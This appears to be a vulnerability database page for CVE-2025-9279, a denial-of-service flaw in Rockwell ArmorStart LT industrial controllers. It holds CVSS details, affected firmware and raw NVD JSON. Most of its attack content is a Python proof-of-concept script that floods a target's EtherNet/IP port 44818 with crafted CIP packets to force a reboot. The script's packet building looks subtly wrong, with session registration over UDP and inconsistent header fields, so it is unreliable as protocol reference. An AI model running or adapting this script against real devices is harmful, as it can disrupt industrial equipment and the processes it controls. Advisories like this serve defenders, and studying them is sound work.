Security Vulnerability Report
中文
CVE-2025-9279 CVSS 7.5 HIGH

CVE-2025-9279

Published: 2026-01-20 14:16:09
Last Modified: 2026-02-02 18:09:03

Description

A security issue exists within ArmorStart® LT that can result in a denial-of-service condition. During execution of the Achilles EtherNet/IP Step Limit Storm tests, the device reboots unexpectedly, causing the Link State Monitor to go down for several seconds.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:rockwellautomation:armorstart_lt_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:rockwellautomation:armorstart_lt:-:*:*:*:*:*:*:* - NOT VULNERABLE
ArmorStart LT (具体版本需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-9279 PoC - ArmorStart LT EtherNet/IP DoS Reference: Achilles EtherNet/IP Step Limit Storm Test Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import time from typing import List def build_ethernet_ip_register_session() -> bytes: """Build EtherNet/IP session registration packet""" # EIP Header packet = b'\x06\x00' # Command: Register Session packet += struct.pack('<H', 4) # Length packet += b'\x01\x00' # Session Handle packet += struct.pack('<I', 0) # Status packet += b'\x00\x00\x00\x00' # Sender Context packet += struct.pack('<I', 0x00000320) # Options return packet def build_cip_message_router(path: List[int]) -> bytes: """Build CIP Message Router Request with path""" # Service: Get Attribute All (0x01) # Class: 0x0B (Message Router) # Path length in words path_words = [len(path)] + path path_data = b''.join(struct.pack('<H', w) for w in path_words) msg = struct.pack('BBB', 0x01, 0x0B, len(path)) # Service, Class, Path size msg += path_data return msg def send_step_limit_storm(target_ip: str, target_port: int = 44818, count: int = 100): """ Send Step Limit Storm packets to trigger DoS on ArmorStart LT This simulates the Achilles test that causes device reboot """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(1) print(f"[*] Connecting to {target_ip}:{target_port}") # Register session register_pkt = build_ethernet_ip_register_session() try: sock.sendto(register_pkt, (target_ip, target_port)) print("[+] Session registered") except Exception as e: print(f"[-] Failed to register session: {e}") return time.sleep(0.5) # Send malformed Step Limit packets print(f"[*] Sending Step Limit Storm packets (count={count})") for i in range(count): try: # Build CIP packet with invalid path to trigger Step Limit condition cip_data = build_cip_message_router([0x01, 0x02, 0x03]) # EIP encapsulation eip_packet = b'\x02\x00' # Command: SendRRData eip_packet += struct.pack('<H', len(cip_data) + 24) eip_packet += b'\x00\x00' * 2 # Session handle, status eip_packet += struct.pack('<Q', i) # Sender context eip_packet += struct.pack('<I', 0) # Options eip_packet += struct.pack('<H', 4 + len(cip_data)) # Interface length eip_packet += b'\x00\x02' # Timeout eip_packet += struct.pack('<H', 2 + len(cip_data)) # Item count eip_packet += b'\x00\x00\x02\x00' # Address item eip_packet += struct.pack('<H', len(cip_data)) # Data item length eip_packet += cip_data sock.sendto(eip_packet, (target_ip, target_port)) if i % 10 == 0: print(f"[*] Sent {i}/{count} packets") except Exception as e: print(f"[-] Error at packet {i}: {e}") print("[+] Attack completed") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-9279-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_step_limit_storm(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9279", "sourceIdentifier": "[email protected]", "published": "2026-01-20T14:16:08.940", "lastModified": "2026-02-02T18:09:02.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security issue exists within ArmorStart® LT that can result in a denial-of-service condition. During execution of the Achilles EtherNet/IP Step Limit Storm tests, the device reboots unexpectedly, causing the Link State Monitor to go down for several seconds."}, {"lang": "es", "value": "Existe un problema de seguridad en ArmorStart® LT que puede provocar una condición de denegación de servicio. Durante la ejecución de las pruebas de tormenta de límite de paso (Step Limit Storm) de Achilles EtherNet/IP, el dispositivo se reinicia inesperadamente, lo que provoca que el Monitor de Estado del Enlace (Link State Monitor) se caiga durante varios segundos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:rockwellautomation:armorstart_lt_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.002", "matchCriteriaId": "564CE3DE-2D80-4511-B970-C644C7217F20"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:rockwellautomation:armorstart_lt:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AB2017-CB37-4A93-90FD-7FE82640FB77"}]}]}], "references": [{"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1768.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}